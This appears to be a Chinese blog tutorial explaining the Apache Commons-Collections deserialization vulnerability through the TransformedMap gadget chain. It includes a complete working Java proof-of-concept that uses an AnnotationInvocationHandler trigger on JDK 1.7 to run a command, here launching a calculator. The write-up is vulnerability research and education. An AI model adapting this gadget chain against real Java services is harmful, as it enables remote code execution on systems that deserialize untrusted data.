Apache commons-collections反序列化漏洞(TransformedMap利用链)

Commons-collections概述

官网对Commons-collections的说明

Java commons-collections是JDK 1.2中的一个主要新增部分。它添加了许多强大的数据结构,可以加速大多数重要Java应用程序的开发。从那时起,它已经成为Java中公认的集合处理标准。

Commons-collection是一个基本的数据结构包,他封装拓展了Java基础Collection中的数据结构,而形成反序列化的数据结构是一个叫TransformedMap的一个Map结构的拓展。它实现了每次Map中元素发生改变时自动进行一些逻辑处理,而处理的逻辑由transformer函数定义,该函数在TransformedMap实例化时通过参数传入。

InvokerTransformer反射触发

Transform接口有三个实现类,最后的构造也是通过这些实现类来完成。首先来看下transform的一个重要实现类InvokerTransformer的部分代码

public class InvokerTransformer implements Transformer, Serializable {
    static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;
    
    public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
    
    public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }
    }
}

通过上述代码可以看出InvokerTransformer是Transformer的一个实现类,其构造方法中传入了三个可控参数分别为methodNameparamTypesargs分别对应了方法名,参数类型和参数,而重写的Transform方法为通过反射机制执行传入的函数以及参数。

由于我们最终的目的为执行任意函数,也就是执行Runtime.getRuntime().exec("Calc.exe")语句,那我们首先使用InvokerTransform来实现这一目标,后续再考虑如何触发的问题。

// 创建实例 传入构造方法参数 (函数名 参数类型 参数值)
InvokerTransformer invokerTransformer = new InvokerTransformer(
        "exec",
        new Class[]{String.class},
        new String[]{"Calc.exe"}
);
// 通过反射机制依次获得Runtime类 getRuntime构造方法 最后生成Runtime实例 
Object input = Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime"));
// 执行transform函数
invokerTransformer.transform(input);

代码的内容为:

  • 创建InvokerTransformer实例并传入想要执行的函数名,参数类型和参数值
  • 通过反射机制得到Runtime实例作为transform函数的输入对象
  • 调用transform函数

发现可以成功弹出计算器
目前通过InvokerTransformer类已经可以实现反射执行命令的效果,不过需要两个前提条件,第一需要一个Runtime的实例作为input参数,第二需要主动调用transform函数,显然在服务端是不可能完成这两个条件的,所以接下来的问题就是如何自动传入构造的input并自动触发transform函数

ChainedTransformer遍历触发

同样先看下ChainedTransformer的主要代码

public class ChainedTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 3514945074733160196L;
    private final Transformer[] iTransformers;
    public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

    public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
    }

    public Transformer[] getTransformers() {
        return this.iTransformers;
    }
}

其中重写的transform方法为一个循环,遍历传入的transform数组,依次调用数组中每个元素的transform方法,并将每次调用返回的结果Object当作下次调用的输入。从这里就可以联想到上一个InvokerTransformer我们的需求之一就是自动传入构造的input,并自动触发。而ChainedTransformer刚好满足了这个需求。

接下来来构造ChainedTransformer的利用链。
这里利用链的构造用到了另外一个Transformer的实现类ConstantTransformer,不过这个实现类非常简单,简单来说就是实例化传入一个Object,transform函数会返回这个传入的Object。代码如下所示

public class ConstantTransformer implements Transformer, Serializable {
    static final long serialVersionUID = 6374440726369055124L;
    public static final Transformer NULL_INSTANCE = new ConstantTransformer((Object)null);
    private final Object iConstant;

    public static Transformer getInstance(Object constantToReturn) {
        return (Transformer)(constantToReturn == null ? NULL_INSTANCE : new ConstantTransformer(constantToReturn));
    }

    public ConstantTransformer(Object constantToReturn) {
        this.iConstant = constantToReturn;
    }

    public Object transform(Object input) {
        return this.iConstant;
    }

    public Object getConstant() {
        return this.iConstant;
    }
}

最终构造的利用链为:

Transformer[] transformers = new Transformer[]{
        // 获得Runtime类对象
        new ConstantTransformer(Runtime.class),
        // 传入Runtime类对象 反射执行getMethod获得getRuntime方法
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",new Class[0]}
                ),
        // 传入getRuntime方法 反射执行invoke方法 得到Runtime实例
        new InvokerTransformer("invoke",
                new Class[] {Object.class, Object[].class },
                new Object[] {null, null }
                ),
        // 传入Runtime实例 执行exec方法
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"Calc.exe"})
};

此利用链所对应的反射语句为

((Runtime)Runtime.class.getMethod("getRuntime",null).invoke(null,null)).exec("calc.exe");

此时的ChainTransformer为:

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(null);

执行transform成功弹出计算器。
通过ChainedTransformer解决了InvokerTransformer构造input并输入的问题,现在服务端只需要触发transform方法即可

封装为TransformedMap

TransformedMap类实例化的过程中需要传入一个map和一个Transformer,每当TransformedMap中的元素产生变化时(添加,删除,修改)就会触发传入的Transformertransform方法。这样我们的触发条件就由服务端调用transform方法变为map中有元素发生改变。

public Object put(Object key, Object value) {
    key = this.transformKey(key);
    value = this.transformValue(value);
    return this.getMap().put(key, value);
}

可以看出每次调用put都会调用transformKeytransformValue

protected Object transformKey(Object object) {
    return this.keyTransformer == null ? object : this.keyTransformer.transform(object);
}

protected Object transformValue(Object object) {
    return this.valueTransformer == null ? object : this.valueTransformer.transform(object);
}

而这两个函数值valueTransformer,keyTransformer都是可控的

Transformer[] transformers = new Transformer[]{
        // 获得Runtime类对象
        new ConstantTransformer(Runtime.class),
        // 传入Runtime类对象 反射执行getMethod获得getRuntime方法
        new InvokerTransformer(
                "getMethod",
                new Class[]{String.class,Class[].class},
                new Object[]{"getRuntime",null}
        ),
        // 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例
        new InvokerTransformer("invoke",
                new Class[] {Object.class, Object[].class },
                new Object[] {null, null }
        ),
        // 传入Runtime实例 执行exec方法
        new InvokerTransformer("exec",
                new Class[] {String.class },
                new Object[] {"Calc.exe"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

Map innermap = new HashMap();
innermap.put("value","value");
Map outermap = TransformedMap.decorate(innermap,null,chainedTransformer);

经过TransformedMap封装后服务端触发条件从执行chainedTransformer的Transform方法变为对TransformedMap中key or value的修改

寻找ReadObject触发点

AnnotationInvocationHandler触发(JDK1.7)

在jdk1.7中AnnotationInvocationHandler类重写了ReadObject方法

private void readObject(ObjectInputStream var1) throws IOException, ClassNotFoundException {
    var1.defaultReadObject();
    AnnotationType var2 = null;

    try {
        var2 = AnnotationType.getInstance(this.type);
    } catch (IllegalArgumentException var9) {
        throw new InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map var3 = var2.memberTypes();
    Iterator var4 = this.memberValues.entrySet().iterator();

    while(var4.hasNext()) {
        Entry var5 = (Entry)var4.next();
        String var6 = (String)var5.getKey();
        Class var7 = (Class)var3.get(var6);
        // 触发setValue函数
        if (var7 != null) {
            Object var8 = var5.getValue();
            if (!var7.isInstance(var8) && !(var8 instanceof ExceptionProxy)) {
                var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));
            }
        }
    }

其中遍历传入的Map,也就是上文构造的TransformedMap,然后执行setValue函数var5.setValue((new AnnotationTypeMismatchExceptionProxy(var8.getClass() + "[" + var8 + "]")).setMember((Method)var2.members().get(var6)));成功触发恶意的transform函数。

完整的POC

public class poc {
    public static void main(String[] args) {
        try {
            Transformer[] transformers = new Transformer[]{
                    // 获得Runtime类对象
                    new ConstantTransformer(Runtime.class),
                    // 传入Runtime类对象 反射执行getMethod获得getRuntime方法
                    new InvokerTransformer(
                            "getMethod",
                            new Class[]{String.class,Class[].class},
                            new Object[]{"getRuntime",null}
                    ),
                    // 传入getRuntime方法对象 反射执行invoke方法 得到Runtime实例
                    new InvokerTransformer("invoke",
                            new Class[] {Object.class, Object[].class },
                            new Object[] {null, null }
                    ),
                    // 传入Runtime实例 执行exec方法
                    new InvokerTransformer("exec",
                            new Class[] {String.class },
                            new Object[] {"Calc.exe"})
            };

            ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

            Map innermap = new HashMap();
            innermap.put("value","value");
            Map outermap = TransformedMap.decorate(innermap,null,chainedTransformer);
			// 构造包含恶意map的AnnotationInvocationHandler对象
            Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
            Constructor cst = cl.getDeclaredConstructor(Class.class,Map.class);
            cst.setAccessible(true);
            Object exploitObj = cst.newInstance(Target.class,outermap);

            // 序列化
            FileOutputStream fos = new FileOutputStream("object");
            ObjectOutputStream oos = new ObjectOutputStream(fos);
            oos.writeObject(exploitObj);
            oos.close();

            // 反序列化
            FileInputStream fis = new FileInputStream("object");
            ObjectInputStream ois = new ObjectInputStream(fis);
            Object result = ois.readObject();
            ois.close();
            System.out.println(result);

        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

成功执行
在这里插入图片描述
JDK8后更改了AnnotationInvocationHandlerreadObject的写法,取消了setValue的使用,新建了LinkedHashMap来储存值。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值